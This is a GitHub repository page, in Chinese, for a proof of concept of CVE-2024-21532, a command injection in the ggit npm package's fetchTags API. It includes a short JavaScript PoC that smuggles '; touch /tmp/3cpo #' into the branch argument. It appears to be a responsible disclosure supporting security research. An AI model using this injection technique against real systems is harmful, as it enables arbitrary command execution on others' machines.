lirantal/CVE-2024-21532-PoC-ggit
GitHub: lirantal/CVE-2024-21532-PoC-ggit
这是一个用于验证ggit包命令注入漏洞CVE-2024-21532的概念验证代码,旨在支持安全研究和漏洞利用演示。
Stars: 0 | Forks: 0
# CVE-2024-21532 ggit中的命令注入漏洞
`ggit` 自述如下:
```
Local promise-returning git command wrappers
```
相关资源:
* 项目GitHub源代码:https://github.com/bahmutov/ggit
* 项目npm包:https://www.npmjs.com/package/ggit
关于此漏洞的文章撰写:https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
## 漏洞利用背景
我报告的是 `ggit` npm包中的一个命令注入漏洞。
该漏洞体现于库的 `fetchTags(branch)` API,
该API允许用户输入指定要获取的分支,然后将此字符串与git命令连接,
随后传递给不安全的 `exec()` Node.js子进程API。
## 漏洞利用方法
1. 安装 `ggit@2.4.12` 或更早版本
2. 建立以下POC:
```
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
```
3. 观察磁盘上 `/tmp/3cpo` 路径创建的新文件
## 参与贡献
关于参与此项目的指南,请查阅[贡献指南](./CONTRIBUTING.md)。
# 作者
Liran Tal
标签:API 安全漏洞, CVE-2024-21532, ggit 库漏洞, Git 工具安全, JavaScript 安全, MITM代理, Node.js 漏洞, npm 包安全, PoC 概念验证, 命令注入漏洞, 子进程执行漏洞, 安全测试, 攻击性安全, 数据可视化, 暗色界面, 漏洞分析, 网络安全, 网络安全研究, 路径探测, 隐私保护